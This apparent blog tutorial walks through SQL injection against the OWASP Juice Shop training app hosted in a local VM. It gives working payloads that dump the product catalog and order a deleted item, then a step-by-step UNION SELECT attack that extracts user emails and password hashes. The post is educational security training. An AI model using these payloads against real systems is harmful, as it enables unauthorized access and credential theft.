In this post, we will witness SQL injection in action and try to obtain user credentials from a server. The goal of this post is to study and understand how vulnerable servers can be and how critical it is, to apply best practices on the back-end side to avoid disasters.
We will first install a vulnerable server from Github into VMware, then use SQL injections to target the server and do malicious operations. Finally, we will employ SQL injections to obtain the login credentials of all the users.
PrerequisiteS
- Ubuntu Server VM (It will be used to host vulnerable web back-end)
- Kali Linux VM (We will perform attacks from here)
- Both VMs should be connected to the internet using NAT
Installing vulnerable server
We will use an already built Node JS-based vulnerable server, named Juice Shop from the https://github.com/bkimminich/juice-shop. OWASP Juice Shop is a vulnerable web application created as a training aid. Juice Shop encompasses vulnerabilities from the entire OWASP Top Ten along with many other security flaws found in real-world applications.
We will be installing OWASP Juice Shop from its source. For the duration of this post, we will be using Kali Linux’s built-in Firefox browser as the “attack” machine and Ubuntu VM as the victim with juice shop installed on it.
So to do that, login into your Ubuntu VM. We need three packages that are required for installation: Git, npm & node js 16. Install git and npm.
sudo apt install npm git
Installing Node
Juice Shop requires the node js version between 14 & 18. At the time of this writing, Ubuntu installs Node version 12 which does not work with Juice Shop. So to install Node 16 we will have to do one more extra step. First, make sure that node js is not installed.
node -v
It will output the version of the node if it is already installed. If the version is between 14 & 18 then you don’t need to do anything you can skip to the “Installing Juice Shop” section. If Node is installed then do the following step otherwise you can also skip this.
sudo apt remove nodejs
sudo apt auto-remove
We will install node 16. To install node 16, add the repository which offers node 16. Add the repository and install node 16 using the following commands
curl -sL https://deb.nodesource.com/setup_16.x | sudo bash -
sudo apt update
sudo apt install nodejs
Once Node is installed check your node version by running node -v command.
Installing Juice Shop
Download the juice shop server from the GitHub repository using the git clone <url> command. Then install all necessary packages using npm. Once the packages are installed, start the server and check if it works or not.
git clone https://github.com/juice-shop/juice-shop.git --depth 1
cd juice-shop
npm install
npm start
If all steps are successful then you should see the following output.

You can test this in the browser using http://localhost:3000. To see the website outside of the server you need to find the ip address of the server which can be obtained using the following command
ip addr
Once the IP address is found you can replace the localhost with the IP address and open it in the browser. For my case, the IP address is 192.168.219.128 so the link is http://192.168.219.128:3000. You need to log in to Kali VM and open the link in firefox.

Create account
Now the server is setup up. The next step is to make an account on the website. To create an account on the website go to the top right corner of the website, click Account -> Login -> Not yet a customer?
It will take you to the http://localhost:3000/#/register page. Enter credentials and register the user.

Once you registered your account then everything is set up.
Ordering an unavailable Item
The objective of this task is to research the available products on this web application’s front-end. Afterward we want to identify vulnerable API endpoints that could potentially handle and interpret SQL queries to cause unintended results such as dumping the entire product catalog. After doing this, we will investigate this product catalog and see if we can add an item to our cart that should not be available for checkout.
If this was a real e-commerce web application, a similar vulnerability could be used to submit bogus orders for unavailable items and consume the company’s resources in order processing.
Is SQL Injection possible?
Search for “Christmas” using the search bar. You would see that no record is available naming “Christmas”. Open Firefox Web Console and switch to the Network tab (ctrl + shift + i -> network). Reload the page by pressing F5 button and you will see all the communication happening with the backend in the network tab.
Identify the GET request http://localhost:3000/rest/products/search?q= which returns the product data.

Submitting any SQL payloads via the Search field in the navigation bar does not work because it is only applying filters onto the entire data set that was retrieved with a singular call upon loading the page. We can try submitting a basic SQL payload to verify that. Try any of the following payloads in the search bar.
''
``
;
Knowing this, the q= parameter on the http://localhost:3000/rest/products/search endpoint might be a leftover from a different implementation of the search functionality. You can test this theory by submitting a GET request http://localhost:3000/rest/products/searchq=orange which should give you the following result.

Then
- Go to the Web Console Network tab
- Filter with “search”
- Right-click the “search?q=” GET method
- On the right side click the button that says Edit and Resend
- Edit the query string as http://localhost:3000/rest/products/search?q=’; ( ‘; is the payload ) and submit it
- Double click the new request to open the results in a new tab
The next page will show an error page with an SQLITE_ERROR: syntax error mentioned, indicating that SQL Injection is indeed possible.

NOTE: Whenever we talk about submitting new requests it will follow this process (edit and resend, change query parameter, double click new GET method record to see results
Our First SQL injection
We know that SQL injection is possible we now need to apply the right payload to avoid syntax errors. Change the payload to ‘))– to do that. The result will be similar to Figure 7. Using ‘))– for q fixes the syntax and successfully retrieves all products, including the (logically deleted) Christmas offer. Take note of its id. In my case, the id is 10.

Ordering logically deleted item
Make sure, you are logged in. Add the carrot juice to your cart which will prevent problems at checkout later. Memorize your
BasketId value in the request payload (when viewing the Network tab). Adding the carrot juice should utilize an API endpoint ending in “api/BasketItems”.
Craft and send a POST request to http://localhost:3000/api/BasketItems with
{"ProductId":<ID OF Christmas Super-Surprise-Box (2014 Edition)>,"BasketId":"<YOUR
BASKET ID>","quantity":1}
as body. ID of “Christmas . . .” is 10 and 9 is the BasketId so the above body becomes
{"ProductId":10,"BasketId":"9","quantity":1}
Then post the request.

Go to http://localhost:3000/#/basket to verify that the “Christmas Super-Surprise-Box (2014 Edition)” is in the basket.

Follow through the checkout process. After it is done, you would have successfully completed the order of the item which is not even available.
Retrieve a list of all user credentials
The objective of this task is to do some serious damage via SQL injection. We’re going to build on the knowledge gained from the previous task to craft a query that will hopefully drop a table full of user data. Data breaches and particularly user information leaks can have devastating impacts on companies and their end user’s trust.
During the Order, the Christmas special offer of 2014 challenge we learned that the /rest/products/search endpoint is susceptible to SQL Injection into the q parameter. The attack payload we need to craft is a UNION SELECT merging the data from the user’s DB table into the products returned in the JSON result. As a starting point we use the known working ‘))– attack pattern and try to make a UNION SELECT out of it.
Search for
')) UNION SELECT * FROM x-- as q=
You will see the following error

By looking at the error in Figure 10. You will come to the conclusion that there is no table named “x” in the database. You can try general table names. One of the common table names is Users. Let’s modify our payload to the following.
')) UNION SELECT * FROM Users--
This will generate the following error.
SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns
This error shows that Users table exists and also gives another information that the number of columns of the user table is not the same as whatever table on the left side of the union is.
The next step in a UNION SELECT attack is typically to find the right number of returned columns. As the Search Results table in the UI has 3 columns displaying data, it will probably at least be three. You keep adding columns until no more SQLITE_ERROR occurs (or at least it becomes a different one)
- ‘)) UNION SELECT ‘1’ FROM Users– fails with number of result columns error
- ‘)) UNION SELECT ‘1’, ‘2’ FROM Users– fails with number of result columns error
- ‘)) UNION SELECT ‘1’, ‘2’, ‘3’ FROM Users– fails with number of result columns error
- (…)
- ‘)) UNION SELECT ‘1’, ‘2’, ‘3’, ‘4’, ‘5’, ‘6’, ‘7’, ‘8’, ‘9’ FROM Users– finally gives you a JSON response back with an extra element
{"id":"1","name":"2","description":"3","price":"4","deluxePrice":"5","image":"6","create
dAt":"7","updatedAt":"8","deletedAt":"9"}.

Next, we will get rid of the unwanted product results by changing the query into something following leaving only the “UNIONed” element in the result set
qwert')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8', '9' FROM Users--

The last step is to replace the fixed values with correct column names. We could guess those or derive them from the RESTful API results or remember them from previously seen SQL errors. Searching for:
qwert')) UNION SELECT id, email, password, '4', '5', '6', '7', '8', '9' FROM Users--
It will give you the list of all user data in convenient JSON format.

You can see all users with their credentials. You can see the password is encrypted. If we can somehow decrypt those passwords we can authenticate with this website without any problem. This can become very dangerous. A person with malicious intent can have all types of personal information like email, password, credit card information, etc.
Conclusion
Web servers can be breached easily if not designed carefully, resulting in complete failure of the product. So it is very important for the developers to spend time making sure that servers are secure from malicious attacks. If you are not a developer and reading this for fun then there is a lesson for you too – you should not same password for all services you used. If somehow a hacker finds out your password then you can lose everything.
I hope you learned something today. Have a good day.